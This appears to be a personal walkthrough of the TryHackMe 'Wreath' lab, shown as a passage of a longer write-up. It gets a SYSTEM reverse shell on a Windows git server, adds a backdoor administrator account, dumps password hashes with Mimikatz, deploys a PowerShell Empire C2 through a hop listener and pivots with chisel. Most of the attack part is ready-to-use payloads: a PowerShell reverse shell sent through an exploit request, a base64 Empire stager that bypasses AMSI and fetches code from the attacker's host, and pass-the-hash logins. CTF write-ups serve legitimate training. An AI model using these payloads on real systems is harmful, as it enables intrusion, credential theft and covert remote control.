  • This will send three ICMP ping packets back to you. How many make it to the waiting listener? 0

Looks like we're going to need to think outside the box to catch this shell.

We have two easy options here:

  • Given we have a fully stable shell on .200, we could upload a static copy of netcat and just catch the shell here
  • We could set up a relay on .200 to forward a shell back to a listener

CentOS uses an always-on wrapper around the IPTables firewall called "firewalld". By default, this firewall is extremely restrictive, only allowing access to SSH and anything else the sysadmin has specified. Before we can start capturing (or relaying) shells, we will need to open our desired port in the firewall. This can be done with the following command: firewall-cmd --zone=public --add-port PORT/tcp (I did port 16050) =

  1. firewall-cmd --zone=public --add-port 16050/tcp

Reverse shell time:

We can use a Powershell reverse shell for this. Take the following shell command and substitute in the IP of the webserver, and the port you opened in the .200 firewall in the previous question where it says IP and PORT in the code:

  • code

    powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('10.200.90.200',16050);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    
  1. cp /usr/bin/nc . on local machine
  2. python3 -m http.server 8090
  3. curl http://<tun0>:8090/nc -o nc-ch on target machine
  4. chmod +x nc-ch
  5. URL Encode our powershell reverse shell from 5 steps above (BurpSuite Ctrl + U)
  6. ./nc-ch -lvnp 16050 still on target machine (remember we opened the firewall for this port)
    1. BurpSuite request to get reverse shell
    POST /web/exploit.php HTTP/1.1
    Host: 10.200.90.150
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: csrftoken=9r8Scbr88hXGDOz5zdwaciy3tmyK1ekD; sessionid=66ab443e1f811fb82862733b09682433
    Upgrade-Insecure-Requests: 1
    Content-Length: 575
    Content-Type: application/x-www-form-urlencoded
    
    a=powershell.exe+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('10.200.90.200',16050)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"
    

Result:

[root@prod-serv tmp]# ./nc-ch -lvnp 16050
listening on [any] 16050 ...
connect to [10.200.90.200] from (UNKNOWN) [10.200.90.150] 49774
whoami
nt authority\system
PS C:\GitStack\gitphp>

Task 21 - Stabilization & Post Exploitation

We already have the ultimate access, so let's create such an account! Choose a unique username here (your TryHackMe username would do), and obviously pick a password which you don't use anywhere else.

First we create the account itself:

  1. net user USERNAME PASSWORD /add
    1. net user gamer passwordxd /add

Next we add our newly created account in the "Administrators" and "Remote Management Users" groups:

  1. net localgroup Administrators USERNAME /add
  2. net localgroup "Remote Management Users" USERNAME /add

We can now use this user to get complete remote access to the box.

But we want to exploit this so lets use evil-winrm:

  1. evil-winrm -u gamer -p passwordxd -i 10.200.90.150

GUI access:

  1. xfreerdp /v:10.200.90.150 /u:gamer /p:passwordxd +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,chshare
  • /dynamic-resolution -- allows us to resize the window, adjusting the resolution of the target in the process

  • /size:WIDTHxHEIGHT -- sets a specific size for targets that don't resize automatically with /dynamic-resolution

  • +clipboard -- enables clipboard support

  • /drive:LOCAL_DIRECTORY,SHARE_NAME -- creates a shared drive between the attacking machine and the target. This switch is insanely useful as it allows us to very easily use our toolkit on the remote target, and save any outputs back directly to our own hard drive. In essence, this means that we never actually have to create any files on the target. For example, to share the current directory in a share called share, you could use: /drive:.,share, with the period (.) referring to the current directory

    Untitled

fire

  1. With GUI access obtained and our Windows resources shared to the target, we can now very easily use Mimikatz to dump the local account password hashes for this target. Next we open up a cmd.exe or PowerShell window as an administrator (i.e. right click on the icon, then click "Run as administrator") in the GUI and enter the following command
  2. cd \\tsclient\chshare\mimikatz\x64 can also just open the file explorer and click on mimikatz

Untitled

This just makes sure we have the permissions of what we need to do with mimikatz

  1. We now dump all of the SAM local password hashes with lsadump::sam

Untitled

NTLM hash is what we want.

Box says we can’t crack Admin hash so we can just crack Thomas’ hash

  1. Crackstation → NTLM hash → cracked= i<3ruby
  2. For a backup savepoint, we can use evil-winrm:
    1. evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i IP

Command and Control

Introduction

With a foothold in a target network, we can start looking to bring what is known as a C2 (Command and Control) Framework into play. C2 Frameworks are used to consolidate an attacker's position within a network and simplify post-exploitation steps (privesc, AV evasion, pivoting, looting, covert network tactics, etc), as well as providing red teams with extensive collaboration features.

We have a system shell on a Windows host, making this an ideal time to introduce the second of our three teaching topics: the C2 Framework "Empire".

Powershell Empire is, as the name suggests, a framework built primarily to attack Windows targets (although especially with the advent of dotnet core, more and more of the functionality may become usable in other systems). It provides a wide range of modules to take initial access to a network of devices, and turn it into something much bigger. In this section we will be looking at the principles of PS Empire, as well as how to use it (and its GUI interface: Starkiller) to improve our shell and perform post-exploitation techniques on the Git Server.

The Empire project was originally abandoned in early 2019; however, it was soon picked up by a company called BC-Security, who have maintained and improved it ever since. As such, there are actually two public versions of Empire -- the original (now very outdated), and the current BC-Security fork. Be careful to get the right one!


Task 23 - Empire: Installation

  1. sudo apt install powershell-empire-starkiller
  2. sudo powershell-empire server
  3. Now that we have our server open, run empire or starkiller!
    1. sudo powershell-empire client
    2. Or, we can use GUI! cd /opt/Starkilleryarn dev or yarn build and go to localhost:5173 login credentials are empireadmin:password123

Task 24 - Empire: Overview

  • Listeners are fairly self-explanatory. They listen for a connection and facilitate further exploitation
  • Stagers are essentially payloads generated by Empire to create a robust reverse shell in conjunction with a listener. They are the delivery mechanism for agents
  • Agents are the equivalent of a Metasploit "Session". They are connections to compromised targets, and allow an attacker to further interact with the system
  • Modules are used to in conjunction with agents to perform further exploitation. For example, they can work through an existing agent to dump the password hashes from the server
  • Can we get an agent back from the git server directly (Aye/Nay)? nay because it is not routable from our host..

Task 25 - Empire: Listeners

Starkiller guide cuz swag:

  1. Listener tab

  2. Create

  3. http

    1. set a name like webserver so it is easier to reference
  4. Set Host to your tun0 (attacking host) mine is 10.50.91.198

  5. Set Port to a listening port, we’ll just do 9001

    Untitled

  6. Click Submit

    Untitled


Task 26 - Empire: Stagers

Stagers are Empire's payloads. They are used to connect back to waiting listeners, creating an agent when executed.

  1. Stagers

    Untitled

  2. Type = multi_bash

  3. Select our “Listener" from last task, so “Webserver"

  4. Submit


Task 27 - Empire: Agents

  1. Copy the link to the clipboard for the Stager we just made

  2. On our target, nano stager-initial.sh

  3. Paste in the contents

  4. chmod +x stager-initial.sh

  5. ./stager-initial.sh

  6. Agents

    Untitled

  7. And we should be able to see our agent has checked in

    Untitled

  8. Click on it and we can execute modules

    Untitled


Task 28 - Empire: Hop Listeners

As mentioned previously, Empire agents can't be proxied with a socat relay or any equivalent redirects; but there must be a way to get an agent back from a target with no outbound access, right?

The answer is yes. We use something called a Hop Listener.

Hop Listeners create what looks like a regular listener in our list of listeners (like the http listener we used before); however, rather than opening a port to receive a connection, hop listeners create files to be copied across to the compromised "jump" server and served from there.

  1. Listener
  2. Set the options to our IP, set a Port, and a RedirectListener to CLIHTTP

Untitled


Task 29 - Git Server

  1. Create a Listener for GitServer that is going to call back to me specifically with tun0:

    Untitled

  2. Create a http_hop Listener that connects to the Listener for GitServer

    Untitled

  3. Create a Stager for http_hop: I made this in CLI cuz idk I read somewhere that its buggy in Starkiller and ya it fuckin is mate

    Untitled

  4. (Empire: uselistener/http_hop) > usestager multi_launcher

  5. (Empire: usestager/multi_launcher) > set Listener http_hop

  6. (Empire: usestager/multi_launcher) > execute

  • big ass powershell script spawns

    powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAcgBvAHgAeQA9AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARABlAGYAYQB1AGwAdABXAGUAYgBQAHIAbwB4AHkAOwAkAHcAYwAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUAZABlAG4AdABpAGEAbABzADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwAvADEAOQBpAEsAbwAmACUAZQAuACwAZwB9AEMAKABaAHwAcgBoAGEAPwAyAC0AcwA4AEwARgBqAFkARwBYADYAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQA5AGcATABJADUAcABHADIAYQBLAE8AaQBmAFcAZQBTADIARQBFADkAZgBXAE8ARABJAHQATQA9ACIAKQA7ACQAcwBlAHIAPQAkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBMAGcAQQB5AEEARABBAEEATQBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB3AEEARABvAEEATQBRAEEAMwBBAEQAQQBBAE0AQQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAaABvAHAAPQAnAGgAdAB0AHAAXwBoAG8AcAAnADsAJABkAGEAdABhAD0AJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAcwBlAHIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAdABhAFsAMAAuAC4AMwBdADsAJABkAGEAdABhAD0AJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AC0AagBvAGkAbgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
    
  1. Now we need to make a jumpserver. In the /tmp directory of the first compromised server .200, we need to make a http_hop directory specific to me.
  2. cd /tmpmkdir hop-chcd hop-ch
  3. Now on our local machine, go to /tmp/http_hop (created by Starkiller)
  4. sudo zip -r hop.zip *
  5. python3 -m http.server 9090
  6. Compromised server → curl http://10.50.91.198:9090/hop.zip -o hop.zipunzip hop.zip
  7. Now we need to actually serve the files on the port we chose when making the http_hop, which is also the same port we opened in the firewall (16050) with this: php -S 0.0.0.0:16050 &

Untitled

We now have everything we need to get this show on the road!

  1. Copy the stager to Clipboard, paste it to the burp request and URL Encode it:
  • Burp Request

    POST /web/exploit.php HTTP/1.1
    Host: 10.200.90.150
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: csrftoken=9r8Scbr88hXGDOz5zdwaciy3tmyK1ekD; sessionid=66ab443e1f811fb82862733b09682433
    Upgrade-Insecure-Requests: 1
    Content-Length: 3752
    Content-Type: application/x-www-form-urlencoded
    
    a=powershell+-noP+-sta+-w+1+-enc++SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAcgBvAHgAeQA9AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARABlAGYAYQB1AGwAdABXAGUAYgBQAHIAbwB4AHkAOwAkAHcAYwAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUAZABlAG4AdABpAGEAbABzADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwAvADEAOQBpAEsAbwAmACUAZQAuACwAZwB9AEMAKABaAHwAcgBoAGEAPwAyAC0AcwA4AEwARgBqAFkARwBYADYAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQA5AGcATABJADUAcABHADIAYQBLAE8AaQBmAFcAZQBTADIARQBFADkAZgBXAE8ARABJAHQATQA9ACIAKQA7ACQAcwBlAHIAPQAkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBMAGcAQQB5AEEARABBAEEATQBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB3AEEARABvAEEATQBRAEEAMwBBAEQAQQBBAE0AQQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABoAHAAJwA7ACQAaABvAHAAPQAnAGgAdAB0AHAAXwBoAG8AcAAnADsAJABkAGEAdABhAD0AJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAcwBlAHIAKwAkAHQAKQA7ACQAaQB2AD0AJABkAGEAdABhAFsAMAAuAC4AMwBdADsAJABkAGEAdABhAD0AJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AC0AagBvAGkAbgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA%3d
    

Untitled

Untitled


Task 30 - Empire: Modules

  1. First we switch over to the modules menu:

    Untitled

  2. In the top right corner we can search for our desired module. Let's search for the Sherlock module:

    Untitled

  3. Select the module by clicking on its name. From here we click on the Agents menu, then select the agent(s) to use the module through:

    Untitled

  4. Click Submit to run the module! To view the results we need to switch over to the "Agents” tab and go to “Tasks” where we can see the Task we ran:

    Untitled


Task 31 - Empire: Interactive Shell

In Starkiller this is even easier as the shell can be found directly in the Agent interaction interface:

Untitled

We have now covered the fundamentals of working with a command and control framework. Empire is significantly more extensive than the basics we have looked at in the time and space available here, so it's well worth doing some more research on it in your own time!

The overarching take-aways from this section are:

  • C2 Frameworks are used to consolidate access to a compromised machine, as well as streamline post-exploitation attempts
  • There are many C2 Frameworks available, so look into which ones work best for your use case
  • Empire is a good choice as a relatively well-rounded, open source C2 framework
  • Empire is still in active development, with upgrades and new features being released frequently
  • Starkiller is a GUI front-end for Empire which makes collaboration using the framework very easy

Personal PC

Task 33 - Enumeration

In our current situation (on an isolated target, communicating through a jumpserver), under normal circumstances uploading tools manually would usually be something of a chore -- think relays and webservers. Fortunately evil-winrm gives us several easy options for transferring and including tools.

Scanning through one proxy is bad, but at this point we'd be scanning through two proxies, which would be unbearable.

  1. So now that we have full control over .150 , we can port scan with a different tool this time if we use evil-winrm
  2. evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.90.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/
    1. Here we are transferring over empire's network powershell modules so that we can use them locally in the Administrator account
  3. Invoke-Portscan.ps1 to initialize it
  4. Invoke-Portscan -Hosts 10.200.90.100 -TopPorts 50 to scan for top ports on our next targeted location, which is the last machine inside the network that we found in Task 17, .150.
  5. Seems as ports 80 and 3389 are open:
  • Results

    *Evil-WinRM* PS C:\Users\Administrator\Documents> Invoke-Portscan -Hosts 10.200.90.100 -TopPorts 50
    
    Hostname      : 10.200.90.100
    alive         : True
    openPorts     : {80, 3389}
    closedPorts   : {}
    filteredPorts : {445, 443, 993, 995...}
    finishTime    : 7/29/2023 3:36:01 PM
    

Task 34 - Pivoting

With two open ports here, RDP (3389) won’t be much help without credentials.

We have two immediate options for this, chisel and plink

  1. First we need to open a port on the firewall! We did something similar to this earlier but this time we can use netsh since we are now on a Windows machine rather than a Linux machine:
  2. netsh advfirewall firewall add rule name="NAME" dir=in action=allow protocol=tcp localport=PORT
    1. Mine: netsh advfirewall firewall add rule name="ChiselCH" dir=in action=allow protocol=tcp localport=19050
  3. Now we use chisel https://github.com/jpillora/chisel/releases and grab a Windows version, I downloaded v1.7.7 for windows and linux since this is a bit older box and it seems to work better
  4. gunzip chisel_1.7*
  5. mv chisel_1.7.7_windows_amd64 chisel.exe since we usin Windows
  6. Now in evil-winrm: C:\Users\Administrator\Documents> upload /home/collinhacks/Lab/THM/Wreath/chisel/chisel.exe
  7. With it uploaded we need to make a forwarding proxy: .\chisel.exe server -p 19050 --socks5
    1. It should now be listening on http://0.0.0.0:19050
  8. Back in our Local kali: ./chisel_1.7.7_linux_amd64 client 10.200.90.150:19050 9090:socks
└─$ ./chisel_1.7.7_linux_amd64 client 10.200.90.150:19050 9090:socks                                      14812023/07/29 19:17:38 client: Connecting to ws://10.200.90.150:19050
2023/07/29 19:17:38 client: tun: proxy#127.0.0.1:9090=>socks: Listening
2023/07/29 19:17:39 client: Connected (Latency 97.275335ms)
  1. Now to access the webapp we set up a foxy proxy:

    Untitled

  2. http://10.200.90.100/ and we can visit the web app now


Task 35 - The Wonders of Git

It seems we guessed right! It appears to be a carbon copy of the website running on the webserver. If there are any differences here then they are clearly not going to be immediately visible, which means we may need to look at fuzzing this site through two proxies…

We know from the brief that Thomas has been using git server to version control his projects -- just because the version on the webserver isn't up to date, doesn't mean that he hasn't been committing to the repo more regularly! In other words, rather than fuzzing the server, we might be able to just download the source code for the site and review it locally.

Ideally we could just clone the repo directly from the server. This would likely require credentials, which we would need to find. Alternatively, given we already have local admin access to the git server, we could just download the repository from the hard disk and re-assemble it locally which does not require any (further) authentication.


  • Use your WinRM access to look around the Git Server. What is the absolute path to the Website.git directory? C:\GitStack\repositories\Website.git
  1. Download this with download Website.git
  2. exit
  3. We now have /Website.gt in our Lab folder for Wreath, so we can look at this for the source code.

Git repositories always contain a special directory called .git which contains all of the meta-information for the repository. This directory can be used to fully recreate a readable copy of the repository, including things like version control and branches.

In order to extract the information from the repository, we use a suite of tools called GitTools.

  1. git clone https://github.com/internetwache/GitTools

The GitTools repository contains three tools:

  • Dumper can be used to download an exposed .git directory from a website should the owner of the site have forgotten to delete it
  • Extractor can be used to take a local .git directory and recreate the repository in a readable format. This is designed to work in conjunction with the Dumper, but will also work on the repo that we stole from the Git server. Unfortunately for us, whilst Extractor will give us each commit in a readable format, it will not sort the commits by date
  • Finder can be used to search the internet for sites with exposed .git directories. This is significantly less useful to an ethical hacker, although may have applications in bug bounty programs
  1. First we need to make a .git directory
┌──(collinhacks㉿CH)-[~/Lab/THM/Wreath/Website.git]
└─$ mkdir .git                                                                                                   
  1. Move all contents into this .git directory mv * ~/Lab/THM/Wreath/Website.git/.git/
  2. Run extractor!
┌──(collinhacks㉿CH)-[~/Tools/GitTools/Extractor]
└─$ ./extractor.sh ~/Lab/THM/Wreath/Website.git/ ~/Lab/THM/Wreath/Website-git-extracted
  1. In our /Website-git-extracted we see:
┌──(collinhacks㉿CH)-[~/Lab/THM/Wreath/Website-git-extracted]
└─$ ls
0-345ac8b236064b431fa43f53d91c98c4834ef8f3  2-70dde80cc19ec76704567996738894828f4ee895
1-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
  1. With this bash one liner, we can cat out commit-meta.txt files seperately: separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"
  • result

    ┌──(collinhacks㉿CH)-[~/Lab/THM/Wreath/Website-git-extracted]
